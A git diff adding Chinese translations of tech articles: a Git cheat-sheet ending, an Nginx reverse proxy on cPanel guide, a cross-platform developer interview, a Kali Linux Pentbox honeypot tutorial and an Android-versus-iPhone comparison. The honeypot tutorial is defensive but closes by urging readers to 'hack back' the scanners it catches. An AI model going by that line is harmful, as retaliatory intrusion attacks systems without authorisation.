GitHub,你应该避免重新引用(`rebase`)并压缩(`squash`)你的提交。如果你开始在人们的眼皮子底下更改版本历史,那么你可能会遇到难以追踪的错误,从而给每个人都带来麻烦。 + +Git 有无数的命令,但这里介绍的命令可能是您最初几年编程所需要知道的所有。 + +* * * + +Sam Corcos 是 [Sightline Maps][10] 的首席开发工程师和联合创始人,Sightline Maps 是最直观的 3D 打印地形图的平台,以及用于构建 Phoenix 和 React 的可扩展生产应用程序的中级高级教程网站 [LearnPhoenix.io][11]。使用优惠码:free_code_camp 取得 LearnPhoenix 的20美元。 + +(题图:[GitHub Octodex][6]) + +-------------------------------------------------------------------------------- + +via: https://medium.freecodecamp.org/git-cheat-sheet-and-best-practices-c6ce5321f52 + +作者:[Sam Corcos][a] +译者:[firmianay](https://github.com/firmianay) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://medium.freecodecamp.org/@SamCorcos?source=post_header_lockup +[1]:https://medium.freecodecamp.org/tagged/git?source=post +[2]:https://medium.freecodecamp.org/tagged/github?source=post +[3]:https://medium.freecodecamp.org/tagged/programming?source=post +[4]:https://medium.freecodecamp.org/tagged/software-development?source=post +[5]:https://medium.freecodecamp.org/tagged/web-development?source=post +[6]:https://octodex.github.com/ +[7]:https://xkcd.com/1597/ +[8]:https://guides.github.com/introduction/flow/ +[9]:https://github.com/angular/angular.js/blob/master/CONTRIBUTING.md#-git-commit-guidelines +[10]:http://sightlinemaps.com/ +[11]:http://learnphoenix.io/ diff --git a/published/201609/20160218 How to Set Nginx as Reverse Proxy on Centos7 CPanel.md b/published/201609/20160218 How to Set Nginx as Reverse Proxy on Centos7 CPanel.md new file mode 100644 index 0000000000..ac17a5eca3 --- /dev/null +++ b/published/201609/20160218 How to Set Nginx as Reverse Proxy on Centos7 CPanel.md @@ -0,0 +1,201 @@ +如何在 CentOS 7 用 cPanel 配置 Nginx 反向代理 +================================================================================ + +Nginx 是最快和最强大的 Web 服务器之一,以其高性能和低资源占用率而闻名。它既可以被安装为一个独立的 Web 服务器,也可以安装成反向代理 Web 服务器。在这篇文章,我将讨论在安装了 cPanel 管理系统的 Centos 7 服务器上安装 Nginx 作为 Apache 的反向代理服务器。 + +Nginx 作为前端服务器用反向代理为静态文件提供服务,Apache 作为后端为动态文件提供服务。这个设置将整体提高服务器的性能。 + +让我们过一遍在已经安装好 cPanel 11.52 的 CentOS 7 x86_64 服务器上配置 Nginx 作为反向代理的安装过程。 + +首先,我们需要安装 EPEL 库来启动这个进程 + +### 第一步: 安装 EPEL 库### + + root@server1 [/usr]# yum -y install epel-release + Loaded plugins: fastestmirror, tsflags, universal-hooks + Loading mirror speeds from cached hostfile + * EA4: 66.23.237.210 + * base: mirrors.linode.com + * extras: mirrors.linode.com + * updates: mirrors.linode.com + Resolving Dependencies + --> Running transaction check + ---> Package epel-release.noarch 0:7-5 will be installed + --> Finished Dependency Resolution + + Dependencies Resolved + + ======================================================================================== + Package Arch Version Repository Size + ======================================================================================== + Installing: + epel-release noarch 7-5 extras 14 k + +### 第二步: 可以安装 nDeploy 的 CentOS RPM 库来安装我们所需的 nDeploy Web 类软件和 Nginx 插件 ### + + root@server1 [/usr]# yum -y install http://rpm.piserve.com/nDeploy-release-centos-1.0-1.noarch.rpm + Loaded plugins: fastestmirror, tsflags, universal-hooks + nDeploy-release-centos-1.0-1.noarch.rpm | 1.7 kB 00:00:00 + Examining /var/tmp/yum-root-ei5tWJ/nDeploy-release-centos-1.0-1.noarch.rpm: nDeploy-release-centos-1.0-1.noarch + Marking /var/tmp/yum-root-ei5tWJ/nDeploy-release-centos-1.0-1.noarch.rpm to be installed + Resolving Dependencies + --> Running transaction check + ---> Package nDeploy-release-centos.noarch 0:1.0-1 will be installed + --> Finished Dependency Resolution + + Dependencies Resolved + + ======================================================================================== + Package Arch Version Repository Size + ======================================================================================== + Installing: + nDeploy-release-centos noarch 1.0-1 /nDeploy-release-centos-1.0-1.noarch 110 + +### 第三步:安装 nDeploy 和 Nginx nDeploy 插件 ### + + root@server1 [/usr]# yum --enablerepo=ndeploy install nginx-nDeploy nDeploy + Loaded plugins: fastestmirror, tsflags, universal-hooks + epel/x86_64/metalink | 9.9 kB 00:00:00 + epel | 4.3 kB 00:00:00 + ndeploy | 2.9 kB 00:00:00 + (1/4): ndeploy/7/x86_64/primary_db | 14 kB 00:00:00 + (2/4): epel/x86_64/group_gz | 169 kB 00:00:00 + (3/4): epel/x86_64/primary_db | 3.7 MB 00:00:02 + + Dependencies Resolved + + ======================================================================================== + Package Arch Version Repository Size + ======================================================================================== + Installing: + nDeploy noarch 2.0-11.el7 ndeploy 80 k + nginx-nDeploy x86_64 1.8.0-34.el7 ndeploy 36 M + Installing for dependencies: + PyYAML x86_64 3.10-11.el7 base 153 k + libevent x86_64 2.0.21-4.el7 base 214 k + memcached x86_64 1.4.15-9.el7 base 84 k + python-inotify noarch 0.9.4-4.el7 base 49 k + python-lxml x86_64 3.2.1-4.el7 base 758 k + + Transaction Summary + ======================================================================================== + Install 2 Packages (+5 Dependent packages) + +通过以上这些步骤,我们完成了在我们的服务器上 Nginx 插件的安装。现在我们可以配置 Nginx 作为反向代理和为已有的 cPanel 用户账户创建虚拟主机,为此我们可以运行如下脚本。 + +### 第四步:启动 Nginx 作为默认的前端 Web 服务器,并创建默认的配置文件### + + root@server1 [/usr]# /opt/nDeploy/scripts/cpanel-nDeploy-setup.sh enable + Modifying apache http and https port in cpanel + + httpd restarted successfully. + Created symlink from /etc/systemd/system/multi-user.target.wants/nginx.service to /usr/lib/systemd/system/nginx.service. + Created symlink from /etc/systemd/system/multi-user.target.wants/ndeploy_watcher.service to /usr/lib/systemd/system/ndeploy_watcher.service. + Created symlink from /etc/systemd/system/multi-user.target.wants/ndeploy_backends.service to /usr/lib/systemd/system/ndeploy_backends.service. + ConfGen:: saheetha + ConfGen:: satest + +你可以看到这个脚本将修改 Apache 的端口从 80 到另一个端口来让 Nginx 作为前端 Web 服务器,并为现有的 cPanel 用户创建虚拟主机配置文件。一旦完成,确认 Apache 和 Nginx 的状态。 + +#### Apache 状态:#### + + root@server1 [/var/run/httpd]# systemctl status httpd + ● httpd.service - Apache Web Server + Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled) + Active: active (running) since Mon 2016-01-18 06:34:23 UTC; 12s ago + Process: 25606 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS) + Main PID: 24760 (httpd) + CGroup: /system.slice/httpd.service + ‣ 24760 /usr/local/apache/bin/httpd -k start + + Jan 18 06:34:23 server1.centos7-test.com systemd[1]: Starting Apache Web Server... + Jan 18 06:34:23 server1.centos7-test.com apachectl[25606]: httpd (pid 24760) already running + Jan 18 06:34:23 server1.centos7-test.com systemd[1]: Started Apache Web Server. + +#### Nginx 状态:#### + + root@server1 [~]# systemctl status nginx + ● nginx.service - nginx-nDeploy - high performance web server + Loaded: loaded (/usr/lib/systemd/system/nginx.service; enabled; vendor preset: disabled) + Active: active (running) since Sun 2016-01-17 17:18:29 UTC; 13h ago + Docs: http://nginx.org/en/docs/ + Main PID: 3833 (nginx) + CGroup: /system.slice/nginx.service + ├─ 3833 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf + ├─25473 nginx: worker process + ├─25474 nginx: worker process + └─25475 nginx: cache manager process + + Jan 17 17:18:29 server1.centos7-test.com systemd[1]: Starting nginx-nDeploy - high performance web server... + Jan 17 17:18:29 server1.centos7-test.com nginx[3804]: nginx: the configuration file /etc/nginx/nginx.conf syntax is ok + Jan 17 17:18:29 server1.centos7-test.com nginx[3804]: nginx: configuration file /etc/nginx/nginx.conf test is successful + Jan 17 17:18:29 server1.centos7-test.com systemd[1]: Started nginx-nDeploy - high performance web server. + +Nginx 作为前端服务器运行在 80 端口,Apache 配置被更改为监听 http 端口 9999 和 https 端口 4430。请看他们的情况: + + root@server1 [/usr/local/src]# netstat -plan | grep httpd + tcp 0 0 0.0.0.0:4430 0.0.0.0:* LISTEN 17270/httpd + tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN 17270/httpd + tcp6 0 0 :::4430 :::* LISTEN 17270/httpd + tcp6 0 0 :::9999 :::* LISTEN 17270/httpd + +![apacheport](http://blog.linoxide.com/wp-content/uploads/2016/01/apacheport.png) + + root@server1 [/usr/local/src]# netstat -plan | grep nginx + tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 17802/nginx: master + tcp 0 0 45.79.183.73:80 0.0.0.0:* LISTEN 17802/nginx: master + +为已有用户创建的虚拟主机的配置文件在 "**/etc/nginx/sites-enabled**"。 这个文件路径包含了 Nginx 主要配置文件。 + + root@server1 [/etc/nginx/sites-enabled]# ll | grep .conf + -rw-r--r-- 1 root root 311 Jan 17 09:02 saheetha.com.conf + -rw-r--r-- 1 root root 336 Jan 17 09:02 saheethastest.com.conf + +#### 一个域名的示例虚拟主机:### + + server { + + listen 45.79.183.73:80; + #CPIPVSIX:80; + + # ServerNames + server_name saheetha.com www.saheetha.com; + access_log /usr/local/apache/domlogs/saheetha.com main; + access_log /usr/local/apache/domlogs/saheetha.com-bytes_log bytes_log; + + include /etc/nginx/sites-enabled/saheetha.com.include; + + } + +我们可以启动浏览器查看网站来确定 Web 服务器的工作状态。安装后,请阅读服务器上的 web 服务信息。 + + root@server1 [/home]# ip a | grep -i eth0 + 3: eth0: mtu 1500 qdisc pfifo_fast state UP qlen 1000 + inet 45.79.183.73/24 brd 45.79.183.255 scope global dynamic eth0 + root@server1 [/home]# nginx -v + nginx version: nginx/1.8.0 + +![webserver-status](http://blog.linoxide.com/wp-content/uploads/2016/01/webserver.png) + +Nginx 将会为任何最新在 cPanel 中创建的账户创建虚拟主机。通过这些简单的的步骤,我们能够在一台 CentOS 7 / cPanel 的服务器上配置 Nginx 作为反向代理。 + +### Nginx 作为反向代理的优势### + +1. 便于安装和配置。 +2. 效率高、性能好。 +3. 防止 Ddos 攻击。 +4. 支持使用 .htaccess 作为 PHP 的重写规则。 + +我希望这篇文章对你们有用。感谢你看它。我非常高兴收到你的宝贵意见和建议,并进一步改善。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/set-nginx-reverse-proxy-centos-7-cpanel/ + +作者:[Saheetha Shameer][a] +译者:[bestony](https://github.com/bestony) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://linoxide.com/author/saheethas/ diff --git a/published/201609/20160505 Confessions of a cross-platform developer.md b/published/201609/20160505 Confessions of a cross-platform developer.md new file mode 100644 index 0000000000..72716e9eb8 --- /dev/null +++ b/published/201609/20160505 Confessions of a cross-platform developer.md @@ -0,0 +1,73 @@ +一位跨平台开发者的自白 +============================================= + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/business_clouds.png?itok=cucHuJnU) + +[Andreia Gaita][1] 在 OSCON 开源大会上发表了一个题为[跨平台开发者的自白][2]的演讲。她长期从事于开源工作,并且为 [Mono][3] 工程(LCTT 译注:一个致力于开创 .NET 在 Linux 上使用的开源工程)做着贡献,主要以 C#/C++ 开发。Andreia 任职于 GitHub,她的工作是专注构建 Visual Studio 的 GitHub 扩展管理器。 + +我在她发表演讲前就迫不及待的想要问她一些关于跨平台开发的事,问问她作为一名跨平台开发者在这 16 年之中学习到了什么。 + +![](https://opensource.com/sites/default/files/images/life/Interview%20banner%20Q%26A.png) + +**在你开发跨平台代码中,你使用过的最简单的和最难的代码语言是什么?** + +我很少讨论某种语言的好坏,更多是讨论是那些语言有哪些库和工具。语言的编译器、解释器以及构建系统决定了用它们做跨平台开发的难易程度(或者它们是否可能做跨平台开发),可用的 UI 库和对本地系统的访问能力决定了与该操作系统集成的紧密程度。按照我的观点,我认为 C# 最适合完成跨平台开发工作。这种语言自身包括了允许快速的本地调用和精确的内存映射的功能,如果你希望你的代码能够与系统和本地函数库进行交互就需要这些功能。而当我需要非常特殊的系统功能时,我就会切换到 C 或者 C++。 + +**你使用的跨平台开发工具或者抽象层有哪些?** + +我的大部分跨平台工作都是为其它需要开发跨平台应用的人开发工具、库和绑定(binding),一般是用 MONO/C# 和 C/C++。在抽象的层面我用的不多,更多是在 glib 库和友元(friends)方面。大多数时候,我用 Mono 去完成各种跨平台应用的,包括 UI,或者偶然在游戏开发中用到 Unity3D 的部分。我经常使用 Electron(LCTT 译注:Atom 编辑器的兄弟项目,可以用 Electron 开发桌面应用)。 + +**你接触过哪些构建系统?它们之间的区别是由于语言还是平台的不同?** + +我试着选择适合我使用的语言的构建系统。那样,就会很少遇到让我头疼的问题(希望如此)。它需要支持平台和体系结构间的选择、构建输出结果位置可以智能些(多个并行构建),以及易配置性等。大多数时候,我的项目会结合使用 C/C++ 和 C#,我要从同一源代码同时构建不同的配置环境(调试、发布、Windows、OSX、Linux、Android、iOS 等等),这通常需要为每个构建的输出结果选择带有不同参数的不同编译器。构建系统可以帮我做到这一切而不用让我(太)费心。我时常尝试着用不同的构建系统,看看有些什么新的变化,但是最终,我还是回到了使用 makefile 的情况,并结合使用 shell 和批处理脚本或 Perl 脚本来完成工作(因为如果我希望用户来构建我的软件,我还是最好选择一种到处都可以用的命令行脚本语言)。 + +**你怎样平衡在这种使用统一的用户界面下提供原生的外观和体验的需求呢?** + +跨平台的用户界面的实现很困难。在过去几年中我已经使用了一些跨平台 GUI,并且我认为这些事情上并没有最优解。基本上有两种选择。你可以选择一个跨平台工具去做一个并不是完全适合你所有支持的平台的 UI,但是代码库比较小,维护成本比较低。或者你可以选择去开发针对平台的 UI,那样看起来更原生,集成的也更好,但是需要更大的代码库和更高的维护成本。这种决定完全取决于 APP 的类型、它有多少功能、你有多少资源,以及你要把它运行在多少平台上? + +最后,我认为用户比较接受这种“一个 UI 打通关”了,就比如 Electron 框架。我有个 Chromium+C+C# 的框架侧项目,有一天我希望可以用 C# 构建 Electron 型的 app,这样的话我就可以做到两全其美了。 + +**构建/打包系统的依赖性对你有影响吗 ?** + +我依赖的使用方面很保守,我被崩溃的 ABI(LCTT 译注:应用程序二进制接口)、冲突的符号、以及丢失的包等问题困扰了太多次。我决定我要针对的操作系统版本,并选择最低的公有部分来使问题最小化。通常这就意味着有五种不同的 Xcode 和 OSX 框架库,要在同样的机器上相应安装五种不同的 Visual Studio 版本,多种 clang(LCTT 译注:C语言、C++、Object-C、C++ 语言的轻量级编译器)和 gcc 版本,一系列的运行着各种发行版的虚拟机。如果我不能确定我要使用的操作系统的包的状态,我有时就会静态连接库,有时会子模块化依赖以确保它们一直可用。大多时候,我会避免这些很棘手的问题,除非我非常需要使用他们。 + +**你使用持续集成(CI)、代码审查以及相关的工具吗?** + +基本每天都用。这是保持高效的唯一方式。我在一个项目中做的第一件事情是配置跨平台构建脚本,保证每件事尽可能自动化完成。当你面向多平台开发的时候,持续集成是至关重要的。没有人能在一个机器上构建各种平台的不同组合,并且一旦你的构建过程没有包含所有的平台,你就不会注意到你搞砸的事情。在一个共享式的多平台代码库中,不同的人拥有不同的平台和功能,所以保证质量的唯一的方法是跨团队代码审查结合持续集成和其他分析工具。这不同于其他的软件项目,如果不使用相关的工具就会面临失败。 + +**你依赖于自动构建测试,或者倾向于在每个平台上构建并且进行本地测试吗?** + +对于不包括 UI 的工具和库,我通常使用自动构建测试。如果有 UI,两种方法我都会用到——针对已有的 GUI 工具的可靠的、可脚本化的 UI 自动化少到几乎没有,所以我要么我去针对我要跨我所支持的平台创建 UI 自动化工具,要么手动进行测试。如果一个项目使用了定制的 UI 库(比如说一个类似 Unity3D 的 OpenGL UI),开发可编程的自动化工具并自动化大多数工作就相当容易。不过,没有什么东西会像人一样双击就测试出问题。 + +**如果你要做跨平台开发,你喜欢用跨编辑器的构建系统,比如在 Windows 上使用 Visual Studio,在 Linux 上使用 Qt Creator,在 Mac 上使用 XCode 吗?还是你更趋向于使用 Eclipse 这样的可以在所有平台上使用的单一平台?** + +我喜欢使用跨编辑器的构建系统。我更喜欢在不同的IDE上保存项目文件(这样可以使增加 IDE 变得更容易),通过使用构建脚本让 IDE 在它们支持的平台上去构建。对于一个开发者来说编辑器是最重要的工具,学习它们是需要花费时间和精力的,而它们是不可相互替代的。我有我自己喜欢的编辑器和工具,每个人也可以使用他们最喜爱的工具。 + +**在跨平台开发的时候,你更喜欢使用什么样的编辑器、开发环境和 IDE 呢?** + +跨平台开发者被限制在只能选择可以在多数平台上工作的所共有的不多选择之一。我爱用 Visual Studio,但是我不能依赖它完成除 Windows 平台之外的工作(你可能不想让 Windows 成为你的主要的交叉编译平台),所以我不会使用它作为我的主要 IDE。即使可以,跨平台开发者的核心技能也是尽可能的了解和使用大量的平台。这就意味着必须很熟悉它们——使用该平台上的编辑器和库,了解这种操作系统及其适用场景、运行方式以及它的局限性等。做这些事情就需要头脑清醒(我的捷径是加强记忆),我必须依赖跨平台的编辑器。所以我使用 Emacs 和 Sublime。 + +**你之前和现在最喜欢的跨平台项目是什么?** + +我一直很喜欢 Mono,并且得心应手,其它的项目大部分都是以某种方式围绕着它进行的。Gluezilla 是我在多年前开发的一个 Mozilla 绑定(binding),可以把 C# 开发的应用嵌入到 Web 浏览器页面中,并且看起来很有特色。我开发过一个 Winform 应用,它是在 linux 上开发的,它可以在 Windows 上运行在一个 Mozilla 浏览器页面里嵌入的 GTK 视图中。CppSharp 项目(以前叫做 Cxxi,更早时叫做 CppInterop)是一个我开始为 C++ 库生成 C# 绑定(binding)的项目,这样就可以在 C# 中调用、创建实例、子类化 C++ 类。这样,它在运行的时候就能够检测到所使用的平台,以及用来创建本地运行库的是什么编译器,并为它生成正确的 C# 绑定(binding)。这多么有趣啊。 + +**你怎样看跨平台开发的未来趋势呢?** + +我们构建本地应用程序的方式已经改变了,我感觉在各种桌面操作系统的明显差异在慢慢变得模糊;所以构建跨平台的应用程序将会更加容易,而且对系统的集成也不需要完全本地化。不好的是,这可能意味着应用程序易用性更糟,并且在发挥操作系统特性方面所能做的更少。库、工具以及运行环境的跨平台开发是一种我们知道怎样做的更好,但是跨平台应用程序的开发仍然需要我们的努力。 + + +-------------------------------------------------------------------------------- + +via: https://opensource.com/business/16/5/oscon-interview-andreia-gaita + +作者:[Marcus D. Hanwell][a] +译者:[vim-kakali](https://github.com/vim-kakali) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mhanwell +[1]: https://twitter.com/sh4na +[2]: http://conferences.oreilly.com/oscon/open-source-us/public/schedule/detail/48702 +[3]: http://www.mono-project.com/ + diff --git a/published/201609/20160506 Setup honeypot in Kali Linux.md b/published/201609/20160506 Setup honeypot in Kali Linux.md new file mode 100644 index 0000000000..88aa72a7a2 --- /dev/null +++ b/published/201609/20160506 Setup honeypot in Kali Linux.md @@ -0,0 +1,85 @@ +在 Kali Linux 环境下设置蜜罐 +========================= + +Pentbox 是一个包含了许多可以使渗透测试工作变得简单流程化的工具的安全套件。它是用 Ruby 编写并且面向 GNU / Linux,同时也支持 Windows、MacOS 和其它任何安装有 Ruby 的系统。在这篇短文中我们将讲解如何在 Kali Linux 环境下设置蜜罐。如果你还不知道什么是蜜罐(honeypot),“蜜罐是一种计算机安全机制,其设置用来发现、转移、或者以某种方式,抵消对信息系统的非授权尝试。" + +### 下载 Pentbox: + +在你的终端中简单的键入下面的命令来下载 pentbox-1.8。 + +``` +root@kali:~# wget http://downloads.sourceforge.net/project/pentbox18realised/pentbox-1.8.tar.gz +``` + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-1.jpg) + +### 解压 pentbox 文件 + +使用如下命令解压文件: + +``` +root@kali:~# tar -zxvf pentbox-1.8.tar.gz +``` + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-2.jpg) + +### 运行 pentbox 的 ruby 脚本 + +改变目录到 pentbox 文件夹: + +``` +root@kali:~# cd pentbox-1.8/ +``` + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-3.jpg) + +使用下面的命令来运行 pentbox: + +``` +root@kali:~# ./pentbox.rb +``` + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-4.jpg) + +### 设置一个蜜罐 + +使用选项 2 (Network Tools) 然后是其中的选项 3 (Honeypot)。 + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-5.jpg) + +完成让我们执行首次测试,选择其中的选项 1 (Fast Auto Configuration) + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-6.jpg) + +这样就在 80 端口上开启了一个蜜罐。打开浏览器并且打开链接 http://192.168.160.128 (这里的 192.168.160.128 是你自己的 IP 地址。)你应该会看到一个 Access denied 的报错。 + + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-7.jpg) + +并且在你的终端应该会看到 “HONEYPOT ACTIVATED ON PORT 80” 和跟着的 “INTRUSION ATTEMPT DETECTED”。 + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-8.jpg) + +现在,如果你在同一步选择了选项 2 (Manual Configuration), 你应该看见更多的其它选项: + +![](https://www.blackmoreops.com/wp-content/uploads/2016/05/Set-up-a-honeypot-in-Kali-Linux-blackMORE-Ops-9.jpg) + +执行相同的步骤但是这次选择 22 端口 (SSH 端口)。接着在你家里的路由器上做一个端口转发,将外部的 22 端口转发到这台机器的 22 端口上。或者,把这个蜜罐设置在你的云端服务器的一个 VPS 上。 + +你将会被有如此多的机器在持续不断地扫描着 SSH 端口而震惊。 你知道你接着应该干什么么? 你应该黑回它们去!桀桀桀! + +如果视频是你的菜的话,这里有一个设置蜜罐的视频: + + + +-------------------------------------------------------------------------------- + +via: https://www.blackmoreops.com/2016/05/06/setup-honeypot-in-kali-linux/ + +作者:[blackmoreops.com][a] +译者:[wcnnbdk1](https://github.com/wcnnbdk1) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: blackmoreops.com diff --git a/published/201609/20160509 Android vs. iPhone Pros and Cons.md b/published/201609/20160509 Android vs. iPhone Pros and Cons.md new file mode 100644 index 0000000000..76993e842c --- /dev/null +++ b/published/201609/20160509 Android vs. iPhone Pros and Cons.md @@ -0,0 +1,89 @@ +对比 Android 和 iPhone 的优缺点 +=================================== + +>当我们比较 Android 与 iPhone 的时候,很显然 Android 具有一定的优势,而 iPhone 则在一些关键方面更好。但是,究竟哪个比较好呢? + +对 Android 与 iPhone 比较是个个人的问题。 + +就好比我来说,我两个都用。我深知这两个平台的优缺点。所以,我决定分享我关于这两个移动平台的观点。另外,然后谈谈我对新的 Ubuntu 移动平台的印象和它的优势。 + +### iPhone 的优点 + +虽然这些天我是个十足的 Android 用户,但我必须承认 iPhone 在某些方面做的是不错。首先,苹果公司在他们的设备更新方面有更好的成绩。这对于运行着 iOS 的旧设备来说尤其是这样。反观 Android ,如果不是谷歌亲生的 Nexus,它最好也不过是一个更高端的运营商支持的手机,你将发现它们的更新少的可怜或者根本没有。 + +其中 iPhone 做得很好的另一个领域是应用程序的可用性。展开来说,iPhone 应用程序几乎总是有一个简洁的外观。这并不是说 Android 应用程序就是丑陋的,而是,它们可能只是没有像 iOS 上一样的保持不变的操控习惯和一以贯之的用户体验。两个典型的例子, [Dark Sky][1] (天气)和 [Facebook Paper][2] 很好表现了 iOS 独有的布局。 + +再有就是备份过程。 Android 可以备份,默认情况下是备份到谷歌。但是对应用数据起不了太大作用。对比 iPhone ,iCloud 基本上可以对你的 iOS 设备进行了完整备份。 + +### iPhone 令我失望的地方 + +对 iPhone 来说,最无可争辩的问题是它的硬件限制要比软件限制更大,换句话来说,就是存储容量问题。 + +你看,对于大多数 Android 手机,我可以买一个容量较小的手机,然后以后可以添加 SD 卡。这意味着两件事:第一,我可以使用 SD 卡来存储大量的媒体文件。其次,我甚至可以用 SD 卡来存储“一些”我的应用程序。而苹果完全不能这么做。 + +另一个 iPhone 让我失望的地方是它提供的选择很少。备份您的设备?希望你喜欢 iTunes 或 iCloud 吧。但对一些像我一样用 Linux 的人,那就意味着,我唯一的选择便是使用 iCloud。 + +要公平的说,如果你愿意越狱,你的 iPhone 还有一些其他解决方案的,但这并不是这篇文章所讲的。 Android 的 解锁 root 也一样。本文章针对的是两个平台的原生设置。 + +最后,让我们不要忘记这件看起来很小的事—— [iTunes 会删掉用户的音乐][3],因为它认为和苹果音乐的内容重复了……或者因为一些其它的类似规定。这不是 iPhone 特有的情况?我不同意,因为那些音乐最终就是在 iPhone 上没有了。我能十分肯定地这么说,是因为不管在哪里我都不会说这种谎话。 + +![](http://www.datamation.com/imagesvr_ce/5552/mobile-abstract-icon-200x150.jpg) + +*Android 和 iPhone 的对决取决于什么功能对你来说最重要。* + +### Android 的优点 + +Android 给我最大的好处就是 iPhone 所提供不了的:选择。这包括对应用程序、设备以及手机是整体如何工作的选择。 + +我爱桌面小工具!对于 iPhone 用户来说,它们也许看上去很蠢。但我可以告诉你,它们可以让我不用打开应用程序就可以看到所需的数据,而无需额外的麻烦。另一个类似的功能,我喜欢安装定制的桌面界面,而不是我的手机默认的那个! + +最后,我可以通过像 [Airdroid][4] 和 [Tasker][5] 这样的工具给我的智能手机添加计算机级的完整功能。AirDroid 可以让我把我的 Android 手机当成带有一个文件管理和通信功能的计算机——这可以让我可以轻而易举的使用鼠标和键盘。Tasker 更厉害,我可以用它让我手机根据环境变得可联系或不可联系,当我设置好了之后,当我到会议室之后我的手机就会自己进入会议模式,甚至变成省电模式。我还可以设置它当我到达特定的目的地时自动启动某个应用程序。 + +### Android 让我失望的地方 + +Android 备份选项仅限于特定的用户数据,而不是手机的完整克隆。如果不解锁 root,要么你只能听之任之,要么你必须用 Android SDK 来解决。期望普通用户会解锁 root 或运行 SDK 来完成备份(我的意思是一切都备份)显然是一个笑话。 + +是的,谷歌的备份服务会备份谷歌应用程序的数据、以及其他相关的自定义设置。但它是远不及我们所看到的苹果服务一样完整。为了完成类似于苹果那样的功能,我发现你就要么必须解锁 root ,要么将其连接到一个在 PC 机上使用一些不知道是什么的软件来干这个。 + +不过,公平的说,我知道使用 Nexus 的人能从该设备特有的[完整备份服务][6]中得到帮助。对不起,但是谷歌的默认备份方案是不行的。对于通过在 PC 上使用 adb (Android Debug Bridge) 来备份也是一样的——不会总是如预期般的恢复。 + +等吧,它会变好的。经过了很多失败的失望和挫折之后,我发现有一个应用程序,看起来它“可能”提供了一点点微小的希望,它叫 Helium 。它不像我发现的其他应用程序那样拥有误导性的和令人沮丧的局限性,[Helium][7] 最初看起来像是谷歌应该一直提供的备份应用程序——注意,只是“看起来像”。可悲的是,它绊了我一跤。第一次运行时,我不仅需要将它连接到我的计算机上,甚至使用他们提供的 Linux 脚本都不工作。在删除他们的脚本后,我弄了一个很好的老式 adb 来备份到我的 Linux PC 上。你可能要知道的是:你需要在开发工具里打开一箩筐东西,而且如果你运行 Twilight 应用的话还要关闭它。当 adb 的备份选项在我的手机上不起作用时,我花了一点时间把这个搞好了。 + +最后,Android 为非 root 用户也提供了可以轻松备份一些如联系人、短信等简单东西的选择。但是,要深度手机备份的话,以我经验还是通过有线连接和 adb。 + +### Ubuntu 能拯救我们吗? + +在手机领域,通过对这两大玩家之间的优劣比较,我们很期望从 Ubuntu 看到更好的表现。但是,迄今为止,它的表现相当低迷。 + +我喜欢开发人员基于这个操作系统正在做的那些努力,我当然想在 iPhone 和 Android 手机之外有第三种选择。但是不幸的是,它在手机和平板上并不受欢迎,而且由于硬件的低端以及在 YouTube 上的糟糕的演示,有很多不好的传闻。 + +公平来说,我在以前也用过 iPhone 和 Android 的低端机,所以这不是对 Ubuntu 的挖苦。但是它要表现出准备与 iPhone 和 Android 相竞争的功能生态时,那就另说了,这还不是我现在特别感兴趣的东西。在以后的日子里,也许吧,我会觉得 Ubuntu 手机可以满足我的需要了。 + +###Android 与 iPhone 之争:为什么 Android 将终究赢得胜利 + +忽视 Android 那些痛苦的缺点,它起码给我了选择。它并没有把我限制在只有两种备份数据的方式上。是的,一些 Android 的限制事实上是由于它的关注点在于让我选择如何处理我的数据。但是,我可以选择我自己的设备,想加内存就加内存。Android 可以我让做很多很酷的东西,而 iPhone 根本就没有能力这些事情。 + +从根本上来说, Android 给非 root 用户提供了访问手机功能的更大自由。无论是好是坏,这是人们想要的一种自由。现在你们其中有很多 iPhone 的粉丝应该感谢像 [libimobiledevice][8] 这样项目带来的影响。看看苹果阻止 Linux 用户所做的事情……然后问问你自己:作为一个 Linux 用户这真的值得吗? + +发表下评论吧,分享你对 iPhone 、Android 或 Ubuntu 的看法。 + +------------------------------------------------------------------------------ + +via: http://www.datamation.com/mobile-wireless/android-vs.-iphone-pros-and-cons.html + +作者:[Matt Hartley][a] +译者:[jovov](https://github.com/jovov) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.datamation.com/author/Matt-Hartley-3080.html +[1]: http://darkskyapp.com/ +[2]: https://www.facebook.com/paper/ +[3]: 